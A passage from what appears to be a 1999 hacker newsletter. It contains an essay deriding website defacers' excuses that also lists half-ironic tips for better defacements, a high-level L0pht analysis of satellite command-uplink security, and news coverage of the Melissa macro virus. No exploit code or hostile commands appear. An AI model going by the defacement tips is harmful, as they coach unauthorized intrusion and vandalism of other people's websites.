Regardless of who they are trying to vindicate themselves to, the reasoning falls apart every time. Justification #1: "I'm doing you a favor.. this could have been a malicious hacker that damaged your system!". Gee thanks for breaking in to tell me that. It didn't occur to you that the other 80 MILLION internet users did me a favor by not breaking in? Yet I should thank you? Although these kids rarely do damage, they cause the administrator extra grief in one form or another. Rather than normal work, they are forced into doing a full security audit of their system or reinstalling from scratch. Yes, maybe they should have been more concerned with security before this, but it is a rare site that can dedicate that kind of time or resource to staying up to date on the bleeding edge. That is the way the world works, so deal with it. Oh, and don't try to use that as a justification. Justification #2: "Because we can!" Ok, so if I shoot you in the knee 'just because I can', does that teach you any real lesson? Amazingly enough, this is about the only justification that holds any water. If nothing else, it is the brutally honest truth that the person had nothing better to do, and had no well grounded reason for their actions. Instead of using this as a justification, why not think of a truly noble cause and follow it? Justification #3: "I was pointing out security holes on your site!" Gee, thanks for the free security audit. Not. While you did indeed prove there was a hole, did you mail the administrator telling him HOW you broke in? How to fix it? Did you find more than one way into the system or just the one? If you did none of that, you weren't even close to performing a security audit. Oh, audits require permission too. Bad reason. Justification #4: "Read my political reasons yo!" This one almost works for me, but like the others has serious shortcomings. If your true reason is to impress upon your readers of some political or moral agenda, did you really do it? A good job of it? Did you sit down and research your topic, finding resources and legitimate sources of information to leak to? Did you write up a political rant and place it on an appropriate system? Did you spell check your work to make sure that it flowed reasonably well? Doubtful. Putting up third grade level rants on www.unrelated.com mean just about nothing and truly fail as a justification. Try again. Suggestions For Improving Your Hacked Pages. I am not one to complain about a problem without offering some solution or input to offset the bitching. However, with this comes the chance people will blame me for encouraging hacking and continued defacement of web pages. I do NOT condone any such thing! I am practical and realize that nothing I say will stop people from doing it. That in mind, I am just trying to make the best out of an existing situation. That said... here are my top 10 suggestions for future hacked pages. 1. Better designed pages! Hackers and crackers are said to be creative. You sure wouldn't know it looking at many of these pages. Take your time and DESIGN the web page you are putting up. Make it aesthetically appealing to both lynx and graphical browsers. Why do companies spend all the time on beautiful pages in the first place? 2. Better messages! You are cracking these machines and replacing pages to "get your message out". Err, ok, what is your message? Remember that people are visiting with no prior knowledge of you, your message, or your cause. Be clear and concise and spell out your message for them. 3. No more elite speak crap. If you want to impress people with alternate characters, offer the hacked page in several languages. I for one would love to know what some of the hacked pages in Mexico say, and I would also bet that foreign hackers would love to read American hacks in their tongue. Surely you know someone who can translate to German, French, Latin, Russian or more impressive, Japanese. :) 4. You want to use 'elite' speak? Try grammar, spelling, and puncuation. A well written paragraph will command more respect than any substitute character will. If you mispell common words, how can anyone take you serious? Do you find yourself falling behind in English classes? Use the net to help you! You may find online resources like a dictionary or thesauras an invaluable tool. 5. Help the site! After all, you embarassed them and caused them some kind of hassle. After breaking in and changing their web page, why not temporarily patch the hole/bug in the system that gave you access? Better, patch it and tell what you exploited to get in on the web page. Let other admins learn that these holes are actively being exploited. Link to information on more permanent solutions to their security problem. That is at least half way noble. 6. Back up the main page for them! Rather than overwriting their index.html and relying on them to have a copy, just rename the old one. From your new page, link to the old one and give customers a chance to reach the information they were looking for. They had to read your message to get to it, your job is done. 7. Show knowledge of computers! Creating your hacked web pages with editors like 'FrontPage Express' isn't exactly condusive to propagating the myth that hackers know the system. If you can't write out a basic web page in a simple editor like 'vi', 'pico', or 'DOS edit', you should probably learn HTML before worrying about other people's systems. 8. Target your hacks! Don't change the page of any arbitrary domain you happen to stumble across. Pick a system you feel that needs a face lift and apply it to that system only. 9. Don't actually carry out the mass hack! If you find yours in the position of being able to change pages on multiple domains, don't. Just pick the highest traffic domain, or biggest name and change that one. On your hacked page link to a list of other domains that could have been affected. 10. Choosing a name! Try to be mature when choosing a name. Everyone realizes that some names are quite humorous, but remember who reads these pages. Making a profound statement and backing it by "tHe SiNgAlOnG gAnG!@$#$@" just isn't very cool. The Good, The Bad, and The Impressive. The good, the bad, and the impressive. In the past, there have been pages (more like *elements* of pages) that have stood out as creative, amusing, or to the point. Hopefully by pointing out these examples you will begin to see what I have been attempting to convey. The Good Humor: While it probably wasn't the best site to hit, the recent hack of Greenpeace had a certain dark (and sick) sense of humor behind it. Interesting: Another new person/group to hit the scene recently is 'Redemption'. Their hacks to date have simply contained (apparent) original poetry. A sign of creativity at last! You can read their work from hacks like DaytonTech, Town Green, and TC Edge. Targeted: As suggested above, targeting specific domains in order to spread a specific message is a good thing. Examples of this can be found in Monica Lewinksy's Future Site, White Pride, and Ku Klux Klan. Political: Probably the most memorable and well done hacks was that of the 'Human Rights China' site. When hacking for political agendas, hit the right site, with the right message, and present a well written argument. Does wonders. Don't believe me? Check out the www.humanrights-china.org hack. The Bad Bad: Amnesty International found themselves victim of a web page defacement. Of all the sites on the net, why hit groups that are trying to do good already? Isn't that somewhat defeating? Pathetic: The various hacks for a short period of time carried out by 'zyklon' of LoU. These hacks (many movie home pages) turned out to be one or two lines of broken english followed by a dedication to his girlfriend. *yawn* Kiddies with no creativity. Pathetic: The recent mass hack by the 'Miss Piggy Hackclub', which caused over one hundred domains to display a single line: "The Miss Piggy Hackclub Strikes again muthafuqErz!$##$!@" *yawn* That is almost worth reading. The Impressive None! There hasn't been a truly impressive web page defacement to come along. None that took the cake in site, message, and design. :( by whoever (whoever@attrition.org) (c)opyright 1999 - This piece protected by U.S. copyright and may not be copied without the express written permission of 'whoever@attrition.org' or representing parties of said address. Permission is granted to repost this work in full on any *non-profit* site or mail list. Disclaimer: I do not advocate web defacement. Don't do it. Go learn to program or be creative in better capacities. -EOF @HWA 11.0 Security analysis of Satellite command uplinks ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Security Analysis of Satellite Command and Control Uplinks By Brian Oblivion, L0pht Heavy Industries mailto:oblivion@l0pht.com With every passing day we are becoming aware of the fragile link between technology and modern society. Many critical information paths flow over satellites orbiting our earth. A box floating in space seems to be a likely target for hacker groups or renegade nation-states. As sensational as such a satellite takeover would be, it is highly unlikely. These satellites cost millions of dollars, and an adequate sum of money is devoted to make sure it remains under the control of the intended parties. This document attempts to perform an analysis of security methods used by Government/Military Ground Stations. This information is a summation and review of open-source non-classified information taken from the Internet and other printed sources. Most information is from NASA operations proceedures, however, references from those proceedures influence/are influenced by military SATCOM standard operating proceedures. There are two methods of compromising a satellite by an external threat vector.* One is an attack directly on the Satellite by a rogue Ground Station. The second is an attack on the Master Ground Station (MGS), which houses the command and control (C&C) Uplink, and various access control equipment. An outside attacker may not have all the resourses necessary to attack the C&C uplink such as the eqiupment that encodes the commands and the transmission to the spacecraft. This driving factor makes the assult on the MGS all the more appealing. A great deal of work has been put into securing the C&C Uplink. The spacecraft command processor authenticates every command sent to it. The C&C data is often encrypted and decrypted in the spacecraft. The downlink is often unencrypted, however, in the military arena, this is often encrypted as well. Various transmission modes can be used but in the military/government arena spread spectrum (SS) or frequency hopping (FH) is generally employed using secure spreading or hopping sequences. SS and FH are used due to thier anti-jamming and low probability of intercept characteristics. In the unlikely event a rogue Ground Station actually acquired the sequence to get a command burst to the satellite, the MGS would begin to receive telemetry indicating that a command channel is being accessed. Responses from the satellite to the rogue Ground Station would be received at both locations. The MGS would see a response to a request it did not send and a flag would be raised at which point contingency plans would be set in motion. It would also be very difficult for a rogue Ground Station to supply the proper command sequence field, unless the MGS is being monitored. Highly unlikely in the case of the armchair hacker, point and clicking his way to telecommunications Godhood. By far the path of least resistance is obtaining control through compromising the security of the MGS. While long term control may not be achievable, there is the possibility of spoofing a command message to the uplink operators and having them pass that information to the satellite. Scientific Exploration and commercial satellites usually conform to the CCSDS telecommand frames and the military/government uses something similar. Information on these command frames and command syntax are available through the Internet. A set of checks and balances exist within the MGS. If a command request exceeds pre-defined parameters, the command is flagged and escalated to an authority to determine the nature of the exception. Interception, modification, and re-submission of a command message is of the greatest risk. However, the attacker would require an indepth knowledge of the target system and have knowledge of the normal operational parameters so exceptions would not be flagged, reveling his presence. Once a command is determined valid by the spacecraft command processor, the command is sent back to verify the proper command was indeed received and awaits acknoledgement. Further analysis of the command processor and actual checks performed on the sequence and syntax of commands received are beyond the scope of this document. Due to these checks, one command sending the satellite spiraling out of orbit is just not possible without the addition of catestrophic equipment failure. Remember that satellite position is also tracked by third parties. In the event that a satellite makes a change in course, the MGS of that satellite would be immediately notified. There are other checks in place that monitor the heartbeat of a satellite. Should that satellite move, its associated beam spot would become disturbed resulting in loss or degredation of communications. There are overrides to the normal safeguards for emergency spacecraft commanding. As long as an override provision exists, there is the possibility of the exploitation of that provision. However, the override can only be engaged by onsite MGS personel. Manual overrides are a requirement for every MGS. In the event that the computerized frontend is compromised in some fashion, be it of malicious intent or equipment failure, commands can be relayed to the spacecraft directly from manual command consoles. The nature of Satellite communications often dictates that Ground Stations are not necessarily located in the most convient locations. Quite often they are located in remote regions and/or at sea. This requires a distributed networking architecture as well as interoper- ability definitions. NASA in particular has been moving from its highly proprietary legacy systems to more commercial-off-the shelf (COTS) hardware. One must realize this obscurity once provided additional security to the network. The current trend in commercial security offerings is a reactionary role to security management. Holes remain to be identified until the units are shipped to the end user and often not found until the device is in operation. Some MGS's are known to be connected to live internetworked nets. These nets are often treated as sensitive, yet unclasified, to support interoperability. Security policy governing the nature of the systems which are hosted by the satellites define the security of the MGS network. Where interoperablity is not an issue, without physical access to the MGS, your chances are remote to compromise the system. Institutional security policy sets directives in employing firewalls and restrictive routers. Intrusion detection system may also be employed between closed networks. SecurID, kerberos, and biometric access controls are found throughout the commercial/government/military access controls. Access is usually restricted by IP address. Firewalls and routers have been known to be accidentially misconfigured, and often remain that way for lenghty periods of time due to inadequate penetration testing and security fault analysis. An offline proof-of-concept security prototyping lab is a requirement for integrating a new access control system into the operational environment. A good institutional security policy will require such facilities. Many safeguards have been built into the existing C&C uplinks. Key management systems are classified, as is information on implementation of cryptographic systems used. There may be holes in the implementation, but with the other safeguards, the chances of successfuly undermining the o security mechanisms is slim. One can never under estimate the human factor in these systems. To poke holes in security policy is human. Hopefully this article shed light onto the criteria which may lead to MGS compromise and direct satellite C&C uplink attack. The chances of something along these lines actually happening without new techniques or heretofore unknown methods being employed, is remote, but not impossible. ---------------------------------------------------- * A third attack vector could be an attack from within. Poisoning the flight software on the satellite, or the software used to interact with the satellite, bypassing required security provisions. Code review could diminish this threat. @HWA 12.0 Melissa virus makes it hard for Microsoft users ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ Bad Girl Melissa Overloads Networks Contributed by Adam IT Managers around the world will wake up Monday morning to overloaded email servers as a new MS Word Macro Virus/Worm spreads across the internet. "Melissa" attacks users of MS Outlook by grabbing up to fifty addresses from an Outlook address book and automatically sends copies of itself as an MS Word attachment to unsuspecting victims. While the virus/worm does not seem to intentionally cause damage the flood of email that it generates is enough to bog down servers essentially causing a major denial of service. Users who do not use Microsoft products will not be effected. Forbes.........http://www.forbes.com/tool/html/99/mar/0326/side1.htm ZD Net.........http://www.zdnet.com/zdnn/stories/news/0,4586,2233030,00.html Info World.....http://www.infoworld.com/cgi-bin/displayStory.pl?990326.wcvirus.htm NY Times.......http://www.nytimes.com/library/tech/99/03/biztech/articles/28virus.html C | Net........http://www.news.com/News/Item/0,4,34334,00.html?st.ne.fd.gif.e Nando Times....http://www.techserver.com/story/body/0,1634,32453-52253-387209-0,00.html The Forbes and Nando Times stories follow; From Forbes http://www.forbes.com/tool/html/99/mar/0326/side1.htm Porn virus hits Corporate America By Adam L. Penenberg with Elizabeth Corcoran number of companies--including Microsoft, Compaq, Intel and Boeing--have been infected by a new computer virus that attacks users of the Microsoft Outlook E-mail program. The virus, dubbed "Melissa," was first cataloged today, March 26, by MacAfee on its web site. The virus is spreading rapidly and, because of its design is jamming E-mail gateways and causing system administrators to shut down. Since the virus was uncorked just before the weekend, when IT staff are away from work, the full extent of the damage may not be known for some time, although it is certain that many more companies--and individuals--will fall victim. If you are listed in someone's Outlook Express address book, and he is infected, then you could be affected--if you open the attached MSWord file. "Getting rid of this will take a long time, because it only takes one message to start it all over again," says Barry Wadman, president of C-Systems, an E-commerce designer. "I venture to say that this will be affecting and or infecting the net for at least a couple of weeks." Intel, according to PR manager Tom Waldrop, has ordered those who have received the virus to shut down their machines. "The IT staff is working hard to make sure that infected machines are cleaned appropriately," he says. "It is certain that many more companies will fall victim." Melissa is a Word Macro Virus that is spread when a user opens an attached Microsoft Word file. Upon activation, it looks for Outlook--Microsoft's E-mail, newsreader and personal information manager--creates a message, and sends it to the first 50 people listed in the user's address book. Each message contains the subject: "Important Message From (Your User Name)." The body of the E-mail simply says, "Here is that document you asked for ... don't show anyone else ;-)" When users click on the attached file, they unleash the virus. The attached file contains a list of 300 porno sites--passed on as if the sender is pointing people to XXX porno sites. It also modifies the normal template in MS Word, infecting every new document that the user creates with Word. The virus is not malevolent, meaning it does not destroy or alter data, or trash hard drives. But it is fiendish because of the intense volume of E-mail it produces, which is causing networks to choke. Only users of Microsoft Outlook are affected by the Melissa virus. Macintosh users and those using other E-mail programs have nothing to worry about. "In the past people have always been told not to open attachments that come from people you do not know," says Space Rogue, publisher of Hacker News Network and a member of L0pht Heavy Industries, a Boston-based hacker think tank. "Well, here is a virus that is sent as an attachment from someone you do know." The Melissa virus seems to be one of the few with a utiltarian purpose. Since the virus spreads so quickly, it "would definitely be a great spam vehicle," says Dildog, another member of Lopht. Most spam points recipients at porn sites and get-rich-quick scams. That typical spam is easily traced back to its source, since the spammer usually includes a web site, phone number or E-mail address. But the Melissa virus, by automatically spewing out a list of 300 sites, makes tracing the creator extremely difficult. Comments inside the virus include: 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! The best way to stop the virus? Be suspicious of mail with attachments and the subject line: "Important Message From (Your User Name)" From Nando Times; http://www.techserver.com/story/body/0,1634,32453-52253-387209-0,00.html 'Melissa' virus hits Internet Copyright © 1999 Nando Media Copyright © 1999 Reuters News Service By DICK SATRAN SAN FRANCISCO (March 28, 1999 4:34 p.m. EST http://www.nandotimes.com) - A virus that spreads via e-mail hit computers over the weekend and threatened havoc Monday as workers return to offices and begin opening messages sent over the Internet. The virus, called "Melissa," comes in the form of a document that lists pornography sites on the World Wide Web. Computer experts said the virus was aimed at widely used Microsoft Windows-based e-mail address book software, Outlook and Outlook Express, and it can send up to 50 additional versions of the e-mail to other users, threatening a widespread infection of computer systems. That could create a flood of unwanted e-mails around the Internet as the program perpetuates itself using pre-programmed "macros," software embedded in the Windows operating system that sets off complex computer functions with one command. "It could grow explosively and shut down e-mail systems as a side effect," Eric Allman, co-founder of the Emeryville, Calif.-based Sendmail, a widely used provider of e-mail services, said in an interview Sunday. A number of leading software security firms and academic experts posted warnings about the e-mail threat, including Network Associates, the leading anti-virus software maker. "Melissa is widely reported and spreading quickly via mass e-mail, a function of the viral infection," said Network Associates based in Santa Clara, Calif. Carnegie Mellon University's Software Engineering